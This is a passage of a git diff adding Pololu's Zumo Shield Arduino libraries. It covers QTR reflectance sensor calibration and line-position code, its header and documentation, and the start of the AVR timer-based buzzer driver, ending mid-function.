= _maxValue; + if(calibratedMinimumOff) + calibratedMinimumOff[i] = _maxValue; + if(calibratedMaximumOn) + calibratedMaximumOn[i] = 0; + if(calibratedMaximumOff) + calibratedMaximumOff[i] = 0; + } +} + +// Reads the sensors 10 times and uses the results for +// calibration. The sensor values are not returned; instead, the +// maximum and minimum values found over time are stored internally +// and used for the readCalibrated() method. +void QTRSensors::calibrate(unsigned char readMode) +{ + if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_ON) + { + calibrateOnOrOff(&calibratedMinimumOn, + &calibratedMaximumOn, + QTR_EMITTERS_ON); + } + + + if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_OFF) + { + calibrateOnOrOff(&calibratedMinimumOff, + &calibratedMaximumOff, + QTR_EMITTERS_OFF); + } +} + +void QTRSensors::calibrateOnOrOff(unsigned int **calibratedMinimum, + unsigned int **calibratedMaximum, + unsigned char readMode) +{ + int i; + unsigned int sensor_values[16]; + unsigned int max_sensor_values[16]; + unsigned int min_sensor_values[16]; + + // Allocate the arrays if necessary. + if(*calibratedMaximum == 0) + { + *calibratedMaximum = (unsigned int*)malloc(sizeof(unsigned int)*_numSensors); + + // If the malloc failed, don't continue. + if(*calibratedMaximum == 0) + return; + + // Initialize the max and min calibrated values to values that + // will cause the first reading to update them. + + for(i=0;i<_numSensors;i++) + (*calibratedMaximum)[i] = 0; + } + if(*calibratedMinimum == 0) + { + *calibratedMinimum = (unsigned int*)malloc(sizeof(unsigned int)*_numSensors); + + // If the malloc failed, don't continue. + if(*calibratedMinimum == 0) + return; + + for(i=0;i<_numSensors;i++) + (*calibratedMinimum)[i] = _maxValue; + } + + int j; + for(j=0;j<10;j++) + { + read(sensor_values,readMode); + for(i=0;i<_numSensors;i++) + { + // set the max we found THIS time + if(j == 0 || max_sensor_values[i] < sensor_values[i]) + max_sensor_values[i] = sensor_values[i]; + + // set the min we found THIS time + if(j == 0 || min_sensor_values[i] > sensor_values[i]) + min_sensor_values[i] = sensor_values[i]; + } + } + + // record the min and max calibration values + for(i=0;i<_numSensors;i++) + { + if(min_sensor_values[i] > (*calibratedMaximum)[i]) + (*calibratedMaximum)[i] = min_sensor_values[i]; + if(max_sensor_values[i] < (*calibratedMinimum)[i]) + (*calibratedMinimum)[i] = max_sensor_values[i]; + } +} + + +// Returns values calibrated to a value between 0 and 1000, where +// 0 corresponds to the minimum value read by calibrate() and 1000 +// corresponds to the maximum value. Calibration values are +// stored separately for each sensor, so that differences in the +// sensors are accounted for automatically. +void QTRSensors::readCalibrated(unsigned int *sensor_values, unsigned char readMode) +{ + int i; + + // if not calibrated, do nothing + if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_OFF) + if(!calibratedMinimumOff || !calibratedMaximumOff) + return; + if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_ON) + if(!calibratedMinimumOn || !calibratedMaximumOn) + return; + + // read the needed values + read(sensor_values,readMode); + + for(i=0;i<_numSensors;i++) + { + unsigned int calmin,calmax; + unsigned int denominator; + + // find the correct calibration + if(readMode == QTR_EMITTERS_ON) + { + calmax = calibratedMaximumOn[i]; + calmin = calibratedMinimumOn[i]; + } + else if(readMode == QTR_EMITTERS_OFF) + { + calmax = calibratedMaximumOff[i]; + calmin = calibratedMinimumOff[i]; + } + else // QTR_EMITTERS_ON_AND_OFF + { + + if(calibratedMinimumOff[i] < calibratedMinimumOn[i]) // no meaningful signal + calmin = _maxValue; + else + calmin = calibratedMinimumOn[i] + _maxValue - calibratedMinimumOff[i]; // this won't go past _maxValue + + if(calibratedMaximumOff[i] < calibratedMaximumOn[i]) // no meaningful signal + calmax = _maxValue; + else + calmax = calibratedMaximumOn[i] + _maxValue - calibratedMaximumOff[i]; // this won't go past _maxValue + } + + denominator = calmax - calmin; + + signed int x = 0; + if(denominator != 0) + x = (((signed long)sensor_values[i]) - calmin) + * 1000 / denominator; + if(x < 0) + x = 0; + else if(x > 1000) + x = 1000; + sensor_values[i] = x; + } + +} + + +// Operates the same as read calibrated, but also returns an +// estimated position of the robot with respect to a line. The +// estimate is made using a weighted average of the sensor indices +// multiplied by 1000, so that a return value of 0 indicates that +// the line is directly below sensor 0, a return value of 1000 +// indicates that the line is directly below sensor 1, 2000 +// indicates that it's below sensor 2000, etc. Intermediate +// values indicate that the line is between two sensors. The +// formula is: +// +// 0*value0 + 1000*value1 + 2000*value2 + ... +// -------------------------------------------- +// value0 + value1 + value2 + ... +// +// By default, this function assumes a dark line (high values) +// surrounded by white (low values). If your line is light on +// black, set the optional second argument white_line to true. In +// this case, each sensor value will be replaced by (1000-value) +// before the averaging. +int QTRSensors::readLine(unsigned int *sensor_values, + unsigned char readMode, unsigned char white_line) +{ + unsigned char i, on_line = 0; + unsigned long avg; // this is for the weighted total, which is long + // before division + unsigned int sum; // this is for the denominator which is <= 64000 + static int last_value=0; // assume initially that the line is left. + + readCalibrated(sensor_values, readMode); + + avg = 0; + sum = 0; + + for(i=0;i<_numSensors;i++) { + int value = sensor_values[i]; + if(white_line) + value = 1000-value; + + // keep track of whether we see the line at all + if(value > 200) { + on_line = 1; + } + + // only average in values that are above a noise threshold + if(value > 50) { + avg += (long)(value) * (i * 1000); + sum += value; + } + } + + if(!on_line) + { + // If it last read to the left of center, return 0. + if(last_value < (_numSensors-1)*1000/2) + return 0; + + // If it last read to the right of center, return the max. + else + return (_numSensors-1)*1000; + + } + + last_value = avg/sum; + + return last_value; +} + + + +// Derived RC class constructors +QTRSensorsRC::QTRSensorsRC() +{ + calibratedMinimumOn = 0; + calibratedMaximumOn = 0; + calibratedMinimumOff = 0; + calibratedMaximumOff = 0; + _pins = 0; +} + +QTRSensorsRC::QTRSensorsRC(unsigned char* pins, + unsigned char numSensors, unsigned int timeout, unsigned char emitterPin) +{ + calibratedMinimumOn = 0; + calibratedMaximumOn = 0; + calibratedMinimumOff = 0; + calibratedMaximumOff = 0; + _pins = 0; + + init(pins, numSensors, timeout, emitterPin); +} + + +// The array 'pins' contains the Arduino pin number for each sensor. + +// 'numSensors' specifies the length of the 'pins' array (i.e. the +// number of QTR-RC sensors you are using). numSensors must be +// no greater than 16. + +// 'timeout' specifies the length of time in microseconds beyond +// which you consider the sensor reading completely black. That is to say, +// if the pulse length for a pin exceeds 'timeout', pulse timing will stop +// and the reading for that pin will be considered full black. +// It is recommended that you set timeout to be between 1000 and +// 3000 us, depending on things like the height of your sensors and +// ambient lighting. Using timeout allows you to shorten the +// duration of a sensor-reading cycle while still maintaining +// useful analog measurements of reflectance + +// 'emitterPin' is the Arduino pin that controls the IR LEDs on the 8RC +// modules. If you are using a 1RC (i.e. if there is no emitter pin), +// or if you just want the emitters on all the time and don't want to +// use an I/O pin to control it, use a value of 255 (QTR_NO_EMITTER_PIN). +void QTRSensorsRC::init(unsigned char* pins, + unsigned char numSensors, unsigned int timeout, unsigned char emitterPin) +{ + QTRSensors::init(pins, numSensors, emitterPin); + + _maxValue = timeout; +} + + +// Reads the sensor values into an array. There *MUST* be space +// for as many values as there were sensors specified in the constructor. +// Example usage: +// unsigned int sensor_values[8]; +// sensors.read(sensor_values); +// ... +// The values returned are in microseconds and range from 0 to +// timeout (as specified in the constructor). +void QTRSensorsRC::readPrivate(unsigned int *sensor_values) +{ + unsigned char i; + + if (_pins == 0) + return; + + for(i = 0; i < _numSensors; i++) + { + sensor_values[i] = _maxValue; + digitalWrite(_pins[i], HIGH); // make sensor line an output + pinMode(_pins[i], OUTPUT); // drive sensor line high + } + + delayMicroseconds(10); // charge lines for 10 us + + for(i = 0; i < _numSensors; i++) + { + pinMode(_pins[i], INPUT); // make sensor line an input + digitalWrite(_pins[i], LOW); // important: disable internal pull-up! + } + + unsigned long startTime = micros(); + while (micros() - startTime < _maxValue) + { + unsigned int time = micros() - startTime; + for (i = 0; i < _numSensors; i++) + { + if (digitalRead(_pins[i]) == LOW && time < sensor_values[i]) + sensor_values[i] = time; + } + } +} + + + +// Derived Analog class constructors +QTRSensorsAnalog::QTRSensorsAnalog() +{ + calibratedMinimumOn = 0; + calibratedMaximumOn = 0; + calibratedMinimumOff = 0; + calibratedMaximumOff = 0; + _pins = 0; +} + +QTRSensorsAnalog::QTRSensorsAnalog(unsigned char* pins, + unsigned char numSensors, unsigned char numSamplesPerSensor, + unsigned char emitterPin) +{ + calibratedMinimumOn = 0; + calibratedMaximumOn = 0; + calibratedMinimumOff = 0; + calibratedMaximumOff = 0; + _pins = 0; + + init(pins, numSensors, numSamplesPerSensor, emitterPin); +} + + +// the array 'pins' contains the Arduino analog pin assignment for each +// sensor. For example, if pins is {0, 1, 7}, sensor 1 is on +// Arduino analog input 0, sensor 2 is on Arduino analog input 1, +// and sensor 3 is on Arduino analog input 7. + +// 'numSensors' specifies the length of the 'analogPins' array (i.e. the +// number of QTR-A sensors you are using). numSensors must be +// no greater than 16. + +// 'numSamplesPerSensor' indicates the number of 10-bit analog samples +// to average per channel (i.e. per sensor) for each reading. The total +// number of analog-to-digital conversions performed will be equal to +// numSensors*numSamplesPerSensor. Note that it takes about 100 us to +// perform a single analog-to-digital conversion, so: +// if numSamplesPerSensor is 4 and numSensors is 6, it will take +// 4 * 6 * 100 us = ~2.5 ms to perform a full readLine(). +// Increasing this parameter increases noise suppression at the cost of +// sample rate. The recommended value is 4. + +// 'emitterPin' is the Arduino pin that controls the IR LEDs on the 8RC +// modules. If you are using a 1RC (i.e. if there is no emitter pin), +// or if you just want the emitters on all the time and don't want to +// use an I/O pin to control it, use a value of 255 (QTR_NO_EMITTER_PIN). +void QTRSensorsAnalog::init(unsigned char* pins, + unsigned char numSensors, unsigned char numSamplesPerSensor, + unsigned char emitterPin) +{ + QTRSensors::init(pins, numSensors, emitterPin); + + _numSamplesPerSensor = numSamplesPerSensor; + _maxValue = 1023; // this is the maximum returned by the A/D conversion +} + + +// Reads the sensor values into an array. There *MUST* be space +// for as many values as there were sensors specified in the constructor. +// Example usage: +// unsigned int sensor_values[8]; +// sensors.read(sensor_values); +// The values returned are a measure of the reflectance in terms of a +// 10-bit ADC average with higher values corresponding to lower +// reflectance (e.g. a black surface or a void). +void QTRSensorsAnalog::readPrivate(unsigned int *sensor_values) +{ + unsigned char i, j; + + if (_pins == 0) + return; + + // reset the values + for(i = 0; i < _numSensors; i++) + sensor_values[i] = 0; + + for (j = 0; j < _numSamplesPerSensor; j++) + { + for (i = 0; i < _numSensors; i++) + { + sensor_values[i] += analogRead(_pins[i]); // add the conversion result + } + } + + // get the rounded average of the readings for each sensor + for (i = 0; i < _numSensors; i++) + sensor_values[i] = (sensor_values[i] + (_numSamplesPerSensor >> 1)) / + _numSamplesPerSensor; +} + +// the destructor frees up allocated memory +QTRSensors::~QTRSensors() +{ + if (_pins) + free(_pins); + if(calibratedMaximumOn) + free(calibratedMaximumOn); + if(calibratedMaximumOff) + free(calibratedMaximumOff); + if(calibratedMinimumOn) + free(calibratedMinimumOn); + if(calibratedMinimumOff) + free(calibratedMinimumOff); +} diff --git a/libraries/Zumo/QTRSensors.dox b/libraries/Zumo/QTRSensors.dox new file mode 100755 index 0000000..2c73909 --- /dev/null +++ b/libraries/Zumo/QTRSensors.dox @@ -0,0 +1,31 @@ +/*! \file QTRSensors.h + * + * This library is included in the Zumo Shield libraries as a dependency for the + * ZumoReflectanceSensorArray library. If you are programming an Arduino on a + * Zumo, you should generally use the ZumoReflectanceSensorArray library instead + * of using the %QTRSensors library directly. + * + * For documentation specific to the %QTRSensors library, please see the [user's + * guide](http://www.pololu.com/docs/0J19) on Pololu's website. + * + * + * \class QTRSensors QTRSensors.h + * \brief (%ZumoReflectanceSensorArray dependency) + * + * This class is part of the \ref QTRSensors.h "QTRSensors" library, which is + * included in the Zumo Shield libraries as a dependency for the + * ZumoReflectanceSensorArray library. If you are programming an Arduino on a + * Zumo, you should generally use the ZumoReflectanceSensorArray library instead + * of using the %QTRSensors library directly. + * + * For documentation specific to the %QTRSensors library, please see the [user's + * guide](http://www.pololu.com/docs/0J19) on Pololu's website. + * + * + * \class QTRSensorsRC QTRSensors.h + * \copydoc QTRSensors + * + * + * \class QTRSensorsAnalog QTRSensors.h + * \copydoc QTRSensors + */ \ No newline at end of file diff --git a/libraries/Zumo/QTRSensors.h b/libraries/Zumo/QTRSensors.h new file mode 100755 index 0000000..9659d58 --- /dev/null +++ b/libraries/Zumo/QTRSensors.h @@ -0,0 +1,268 @@ +/* + QTRSensors.h - Library for using Pololu QTR reflectance + sensors and reflectance sensor arrays: QTR-1A, QTR-8A, QTR-1RC, and + QTR-8RC. The object used will determine the type of the sensor (either + QTR-xA or QTR-xRC). Then simply specify in the constructor which + Arduino I/O pins are connected to a QTR sensor, and the read() method + will obtain reflectance measurements for those sensors. Smaller sensor + values correspond to higher reflectance (e.g. white) while larger + sensor values correspond to lower reflectance (e.g. black or a void). + + * QTRSensorsRC should be used for QTR-1RC and QTR-8RC sensors. + * QTRSensorsAnalog should be used for QTR-1A and QTR-8A sensors. +*/ + +/* + * Written by Ben Schmidel et al., October 4, 2010 + * Copyright (c) 2008-2012 Pololu Corporation. For more information, see + * + * http://www.pololu.com + * http://forum.pololu.com + * http://www.pololu.com/docs/0J19 + * + * You may freely modify and share this code, as long as you keep this + * notice intact (including the two links above). Licensed under the + * Creative Commons BY-SA 3.0 license: + * + * http://creativecommons.org/licenses/by-sa/3.0/ + * + * Disclaimer: To the extent permitted by law, Pololu provides this work + * without any warranty. It might be defective, in which case you agree + * to be responsible for all resulting costs and damages. + */ + +#ifndef QTRSensors_h +#define QTRSensors_h + +#define QTR_EMITTERS_OFF 0 +#define QTR_EMITTERS_ON 1 +#define QTR_EMITTERS_ON_AND_OFF 2 + +#define QTR_NO_EMITTER_PIN 255 + +#define QTR_MAX_SENSORS 16 + +// This class cannot be instantiated directly (it has no constructor). +// Instead, you should instantiate one of its two derived classes (either the +// QTR-A or QTR-RC version, depending on the type of your sensor). +class QTRSensors +{ + public: + + // Reads the sensor values into an array. There *MUST* be space + // for as many values as there were sensors specified in the constructor. + // Example usage: + // unsigned int sensor_values[8]; + // sensors.read(sensor_values); + // The values returned are a measure of the reflectance in abstract units, + // with higher values corresponding to lower reflectance (e.g. a black + // surface or a void). + // If measureOffAndOn is true, measures the values with the + // emitters on AND off and returns on - (timeout - off). If this + // value is less than zero, it returns zero. + // This method will call the appropriate derived class's readPrivate(), + // which is defined as a virtual function in the base class and + // overridden by each derived class's own implementation. + void read(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON); + + // Turn the IR LEDs off and on. This is mainly for use by the + // read method, and calling these functions before or + // after the reading the sensors will have no effect on the + // readings, but you may wish to use these for testing purposes. + void emittersOff(); + void emittersOn(); + + // Reads the sensors for calibration. The sensor values are + // not returned; instead, the maximum and minimum values found + // over time are stored internally and used for the + // readCalibrated() method. + void calibrate(unsigned char readMode = QTR_EMITTERS_ON); + + // Resets all calibration that has been done. + void resetCalibration(); + + // Returns values calibrated to a value between 0 and 1000, where + // 0 corresponds to the minimum value read by calibrate() and 1000 + // corresponds to the maximum value. Calibration values are + // stored separately for each sensor, so that differences in the + // sensors are accounted for automatically. + void readCalibrated(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON); + + // Operates the same as read calibrated, but also returns an + // estimated position of the robot with respect to a line. The + // estimate is made using a weighted average of the sensor indices + // multiplied by 1000, so that a return value of 0 indicates that + // the line is directly below sensor 0, a return value of 1000 + // indicates that the line is directly below sensor 1, 2000 + // indicates that it's below sensor 2000, etc. Intermediate + // values indicate that the line is between two sensors. The + // formula is: + // + // 0*value0 + 1000*value1 + 2000*value2 + ... + // -------------------------------------------- + // value0 + value1 + value2 + ... + // + // By default, this function assumes a dark line (high values) + // surrounded by white (low values). If your line is light on + // black, set the optional second argument white_line to true. In + // this case, each sensor value will be replaced by (1000-value) + // before the averaging. + int readLine(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON, unsigned char white_line = 0); + + // Calibrated minumum and maximum values. These start at 1000 and + // 0, respectively, so that the very first sensor reading will + // update both of them. + // + // The pointers are unallocated until calibrate() is called, and + // then allocated to exactly the size required. Depending on the + // readMode argument to calibrate, only the On or Off values may + // be allocated, as required. + // + // These variables are made public so that you can use them for + // your own calculations and do things like saving the values to + // EEPROM, performing sanity checking, etc. + unsigned int *calibratedMinimumOn; + unsigned int *calibratedMaximumOn; + unsigned int *calibratedMinimumOff; + unsigned int *calibratedMaximumOff; + + ~QTRSensors(); + + protected: + + QTRSensors() + { + + }; + + void init(unsigned char *pins, unsigned char numSensors, unsigned char emitterPin); + + unsigned char *_pins; + unsigned char _numSensors; + unsigned char _emitterPin; + unsigned int _maxValue; // the maximum value returned by this function + + private: + + virtual void readPrivate(unsigned int *sensor_values) = 0; + + // Handles the actual calibration. calibratedMinimum and + // calibratedMaximum are pointers to the requested calibration + // arrays, which will be allocated if necessary. + void calibrateOnOrOff(unsigned int **calibratedMinimum, + unsigned int **calibratedMaximum, + unsigned char readMode); +}; + + + +// Object to be used for QTR-1RC and QTR-8RC sensors +class QTRSensorsRC : public QTRSensors +{ + public: + + // if this constructor is used, the user must call init() before using + // the methods in this class + QTRSensorsRC(); + + // this constructor just calls init() + QTRSensorsRC(unsigned char* pins, unsigned char numSensors, + unsigned int timeout = 4000, unsigned char emitterPin = 255); + + // The array 'pins' contains the Arduino pin number for each sensor. + + // 'numSensors' specifies the length of the 'pins' array (i.e. the + // number of QTR-RC sensors you are using). numSensors must be + // no greater than 16. + + // 'timeout' specifies the length of time in microseconds beyond + // which you consider the sensor reading completely black. That is to say, + // if the pulse length for a pin exceeds 'timeout', pulse timing will stop + // and the reading for that pin will be considered full black. + // It is recommended that you set timeout to be between 1000 and + // 3000 us, depending on things like the height of your sensors and + // ambient lighting. Using timeout allows you to shorten the + // duration of a sensor-reading cycle while still maintaining + // useful analog measurements of reflectance + + // 'emitterPin' is the Arduino pin that controls the IR LEDs on the 8RC + // modules. If you are using a 1RC (i.e. if there is no emitter pin), + // or if you just want the emitters on all the time and don't want to + // use an I/O pin to control it, use a value of 255 (QTR_NO_EMITTER_PIN). + void init(unsigned char* pins, unsigned char numSensors, + unsigned int timeout = 2000, unsigned char emitterPin = QTR_NO_EMITTER_PIN); + + + + private: + + // Reads the sensor values into an array. There *MUST* be space + // for as many values as there were sensors specified in the constructor. + // Example usage: + // unsigned int sensor_values[8]; + // sensors.read(sensor_values); + // The values returned are a measure of the reflectance in microseconds. + void readPrivate(unsigned int *sensor_values); +}; + + + +// Object to be used for QTR-1A and QTR-8A sensors +class QTRSensorsAnalog : public QTRSensors +{ + public: + + // if this constructor is used, the user must call init() before using + // the methods in this class + QTRSensorsAnalog(); + + // this constructor just calls init() + QTRSensorsAnalog(unsigned char* pins, + unsigned char numSensors, unsigned char numSamplesPerSensor = 4, + unsigned char emitterPin = 255); + + // the array 'pins' contains the Arduino analog pin assignment for each + // sensor. For example, if pins is {0, 1, 7}, sensor 1 is on + // Arduino analog input 0, sensor 2 is on Arduino analog input 1, + // and sensor 3 is on Arduino analog input 7. + + // 'numSensors' specifies the length of the 'analogPins' array (i.e. the + // number of QTR-A sensors you are using). numSensors must be + // no greater than 16. + + // 'numSamplesPerSensor' indicates the number of 10-bit analog samples + // to average per channel (i.e. per sensor) for each reading. The total + // number of analog-to-digital conversions performed will be equal to + // numSensors*numSamplesPerSensor. Note that it takes about 100 us to + // perform a single analog-to-digital conversion, so: + // if numSamplesPerSensor is 4 and numSensors is 6, it will take + // 4 * 6 * 100 us = ~2.5 ms to perform a full readLine(). + // Increasing this parameter increases noise suppression at the cost of + // sample rate. The recommended value is 4. + + // 'emitterPin' is the Arduino pin that controls the IR LEDs on the 8RC + // modules. If you are using a 1RC (i.e. if there is no emitter pin), + // or if you just want the emitters on all the time and don't want to + // use an I/O pin to control it, use a value of 255 (QTR_NO_EMITTER_PIN). + void init(unsigned char* analogPins, unsigned char numSensors, + unsigned char numSamplesPerSensor = 4, unsigned char emitterPin = QTR_NO_EMITTER_PIN); + + + + private: + + // Reads the sensor values into an array. There *MUST* be space + // for as many values as there were sensors specified in the constructor. + // Example usage: + // unsigned int sensor_values[8]; + // sensors.read(sensor_values); + // The values returned are a measure of the reflectance in terms of a + // 10-bit ADC average with higher values corresponding to lower + // reflectance (e.g. a black surface or a void). + void readPrivate(unsigned int *sensor_values); + + unsigned char _numSamplesPerSensor; +}; + + +#endif diff --git a/libraries/Zumo/ZumoBuzzer.cpp b/libraries/Zumo/ZumoBuzzer.cpp new file mode 100755 index 0000000..b1a11f3 --- /dev/null +++ b/libraries/Zumo/ZumoBuzzer.cpp @@ -0,0 +1,742 @@ +#ifndef F_CPU +#define F_CPU 16000000UL // Standard Arduinos run at 16 MHz +#endif //!F_CPU + +#include +#include +#include "ZumoBuzzer.h" + +#ifdef __AVR_ATmega32U4__ + +// PD7 (OC4D) +#define BUZZER_DDR DDRD +#define BUZZER (1 << PORTD7) + +#define TIMER4_CLK_8 0x4 // 2 MHz + +#define ENABLE_TIMER_INTERRUPT() TIMSK4 = (1 << TOIE4) +#define DISABLE_TIMER_INTERRUPT() TIMSK4 = 0 + +#else // 168P or 328P + +// PD3 (OC2B) +#define BUZZER_DDR DDRD +#define BUZZER (1 << PORTD3) + +#define TIMER2_CLK_32 0x3 // 500 kHz + +static const unsigned int cs2_divider[] = {0, 1, 8, 32, 64, 128, 256, 1024}; + +#define ENABLE_TIMER_INTERRUPT() TIMSK2 = (1 << TOIE2) +#define DISABLE_TIMER_INTERRUPT() TIMSK2 = 0 + +#endif + +unsigned char buzzerInitialized = 0; +volatile unsigned char buzzerFinished = 1; // flag: 0 while playing +const char *buzzerSequence = 0; + +// declaring these globals as static means they won't conflict +// with globals in other .cpp files that share the same name +static volatile unsigned int buzzerTimeout = 0; // tracks buzzer time limit +static char play_mode_setting = PLAY_AUTOMATIC; + +extern volatile unsigned char buzzerFinished; // flag: 0 while playing +extern const char *buzzerSequence; + + +static unsigned char use_program_space; // boolean: true if we should + // use program space + +// music settings and defaults +static unsigned char octave = 4; // the current octave +static unsigned int whole_note_duration = 2000; // the duration of a whole note +static unsigned int note_type = 4; // 4 for quarter, etc +static unsigned int duration = 500; // the duration of a note in ms +static unsigned int volume = 15; // the note volume +static unsigned char staccato = 0; // true if playing staccato + +// staccato handling +static unsigned char staccato_rest_duration; // duration of a staccato + // rest, or zero if it is time + // to play a note + +static void nextNote(); + +#ifdef __AVR_ATmega32U4__ + +// Timer4 overflow interrupt +ISR (TIMER4_OVF_vect) +{ + if (buzzerTimeout-- == 0) + { + DISABLE_TIMER_INTERRUPT(); + sei(); // re-enable global interrupts (nextNote() is very slow) + TCCR4B = (TCCR4B & 0xF0) | TIMER4_CLK_8; // select IO clock + unsigned int top = (F_CPU/16) / 1000; // set TOP for freq = 1 kHz: + TC4H = top >> 8; // top 2 bits... (TC4H temporarily stores top 2 bits of 10-bit accesses) + OCR4C = top; // and bottom 8 bits + TC4H = 0; // 0% duty cycle: top 2 bits... + OCR4D = 0; // and bottom 8 bits + buzzerFinished = 1; + if (buzzerSequence && (play_mode_setting == PLAY_AUTOMATIC)) + nextNote(); + } +} + +#else + +// Timer2 overflow interrupt +ISR (TIMER2_OVF_vect) +{ + if (buzzerTimeout-- == 0) + { + DISABLE_TIMER_INTERRUPT(); + sei(); // re-enable global interrupts (nextNote() is very slow) + TCCR2B = (TCCR2B & 0xF8) | TIMER2_CLK_32; // select IO clock + OCR2A = (F_CPU/64) / 1000; // set TOP for freq = 1 kHz + OCR2B = 0; // 0% duty cycle + buzzerFinished = 1; + if (buzzerSequence && (play_mode_setting == PLAY_AUTOMATIC)) + nextNote(); + } +} + +#endif + + +// constructor + +ZumoBuzzer::ZumoBuzzer() +{ +} + +// this is called by playFrequency() +inline void ZumoBuzzer::init() +{ + if (!buzzerInitialized) + { + buzzerInitialized = 1; + init2(); + } +} + +// initializes timer4 (32U4) or timer2 (328P) for buzzer control +void ZumoBuzzer::init2() +{ + DISABLE_TIMER_INTERRUPT(); + +#ifdef __AVR_ATmega32U4__ + TCCR4A = 0x00; // bits 7 and 6 clear: normal port op., OC4A disconnected + // bits 5 and 4 clear: normal port op., OC4B disconnected + // bit 3 clear: no force output compare for channel A + // bit 2 clear: no force output compare for channel B + // bit 1 clear: disable PWM for channel A + // bit 0 clear: disable PWM for channel B + + TCCR4B = 0x04; // bit 7 clear: disable PWM inversion + // bit 6 clear: no prescaler reset + // bits 5 and 4 clear: dead time prescaler 1 + // bit 3 clear, 2 set, 1-0 clear: timer clock = CK/8 + + TCCR4C = 0x09; // bits 7 and 6 clear: normal port op., OC4A disconnected + // bits 5 and 4 clear: normal port op., OC4B disconnected + // bit 3 set, 2 clear: clear OC4D on comp match when upcounting, + // set OC4D on comp match when downcounting + // bit 1 clear: no force output compare for channel D + // bit 0 set: enable PWM for channel 4 + + TCCR4D = 0x01; // bit 7 clear: disable fault protection interrupt + // bit 6 clear: disable fault protection mode + // bit 5 clear: disable fault protection noise canceler + // bit 4 clear: falling edge triggers fault + // bit 3 clear: disable fault protection analog comparator + // bit 2 clear: fault protection interrupt flag + // bit 1 clear, 0 set: select waveform generation mode, + // phase- and frequency-correct PWM, TOP = OCR4C, + // OCR4D set at BOTTOM, TOV4 flag set at BOTTOM + + // This sets timer 4 to run in phase- and frequency-correct PWM mode, + // where TOP = OCR4C, OCR4D is updated at BOTTOM, TOV1 Flag is set on BOTTOM. + // OC4D is cleared on compare match when upcounting, set on compare + // match when downcounting; OC4A and OC4B are disconnected. + + unsigned int top = (F_CPU/16) / 1000; // set TOP for freq = 1 kHz: + TC4H = top >> 8; // top 2 bits... + OCR4C = top; // and bottom 8 bits + TC4H = 0; // 0% duty cycle: top 2 bits... + OCR4D = 0; // and bottom 8 bits +#else + TCCR2A = 0x21; // bits 7 and 6 clear: normal port op., OC4A disconnected + // bit 5 set, 4 clear: clear OC2B on comp match when upcounting, + // set OC2B on comp match when downcounting + // bits 3 and 2: not used + // bit 1 clear, 0 set: combine with bit 3 of TCCR2B... + + TCCR2B = 0x0B; // bit 7 clear: no force output compare for channel A + // bit 6 clear: no force output compare for channel B + // bits 5 and 4: not used + // bit 3 set: combine with bits 1 and 0 of TCCR2A to + // select waveform generation mode 5, phase-correct PWM, + // TOP = OCR2A, OCR2B set at TOP, TOV2 flag set at BOTTOM + // bit 2 clear, 1-0 set: timer clock = clkT2S/32 + + // This sets timer 2 to run in phase-correct PWM mode, where TOP = OCR2A, + // OCR2B is updated at TOP, TOV2 Flag is set on BOTTOM. OC2B is cleared + // on compare match when upcounting, set on compare match when downcounting; + // OC2A is disconnected. + // Note: if the PWM frequency and duty cycle are changed, the first + // cycle of the new frequency will be at the old duty cycle, since + // the duty cycle (OCR2B) is not updated until TOP. + + + OCR2A = (F_CPU/64) / 1000; // set TOP for freq = 1 kHz + OCR2B = 0; // 0% duty cycle +#endif + + BUZZER_DDR |= BUZZER; // buzzer pin set as an output + sei(); +} + + +// Set up timer 1 to play the desired frequency (in Hz or .1 Hz) for the +// the desired duration (in ms). Allowed frequencies are 40 Hz to 10 kHz. +// volume controls buzzer volume, with 15 being loudest and 0 being quietest. +// Note: frequency*duration/1000 must be less than 0xFFFF (65535). This +// means that you can't use a max duration of 65535 ms for frequencies +// greater than 1 kHz. For example, the max duration you can use for a +// frequency of 10 kHz is 6553 ms. If you use a duration longer than this, +// you will cause an integer overflow that produces unexpected behavior. +void ZumoBuzzer::playFrequency(unsigned int freq, unsigned int dur, + unsigned char volume) +{ + init(); // initializes the buzzer if necessary + buzzerFinished = 0; + + unsigned int timeout; + unsigned char multiplier = 1; + + if (freq & DIV_BY_10) // if frequency's DIV_BY_10 bit is set + { // then the true frequency is freq/10 + multiplier = 10; // (gives higher resolution for small freqs) + freq &= ~DIV_BY_10; // clear DIV_BY_10 bit + } + + unsigned char min = 40 * multiplier; + if (freq < min) // min frequency allowed is 40 Hz + freq = min; + if (multiplier == 1 && freq > 10000) + freq = 10000; // max frequency allowed is 10kHz + +#ifdef __AVR_ATmega32U4__ + unsigned long top; + unsigned char dividerExponent = 0; + + // calculate necessary clock source and counter top value to get freq + top = (unsigned int)(((F_CPU/2 * multiplier) + (freq >> 1))/ freq); + + while (top > 1023) + { + dividerExponent++; + top = (unsigned int)((((F_CPU/2 >> (dividerExponent)) * multiplier) + (freq >> 1))/ freq); + } +#else + unsigned int top; + unsigned char newCS2 = 2; // try prescaler divider of 8 first (minimum necessary for 10 kHz) + unsigned int divider = cs2_divider[newCS2]; + + // calculate necessary clock source and counter top value to get freq + top = (unsigned int)(((F_CPU/16 * multiplier) + (freq >> 1))/ freq); + + while (top > 255) + { + divider = cs2_divider[++newCS2]; + top = (unsigned int)(((F_CPU/2/divider * multiplier) + (freq >> 1))/ freq); + } +#endif + + // set timeout (duration): + if (multiplier == 10) + freq = (freq + 5) / 10; + + if (freq == 1000) + timeout = dur; // duration for silent notes is exact + else + timeout = (unsigned int)((long)dur * freq / 1000); + + if (volume > 15) + volume = 15; + + DISABLE_TIMER_INTERRUPT(); // disable interrupts while writing to registers + +#ifdef __AVR_ATmega32U4__ + TCCR4B = (TCCR4B & 0xF0) | (dividerExponent + 1); // select timer 4 clock prescaler: divider = 2^n if CS4 = n+1 + TC4H = top >> 8; // set timer 1 pwm frequency: top 2 bits... + OCR4C = top; // and bottom 8 bits + unsigned int width = top >> (16 - volume); // set duty cycle (volume): + TC4H = width >> 8; // top 2 bits... + OCR4D = width; // and bottom 8 bits + buzzerTimeout = timeout; // set buzzer duration + + TIFR4 |= 0xFF; // clear any pending t4 overflow int. +#else + TCCR2B = (TCCR2B & 0xF8) | newCS2; // select timer 2 clock prescaler + OCR2A = top; // set timer 2 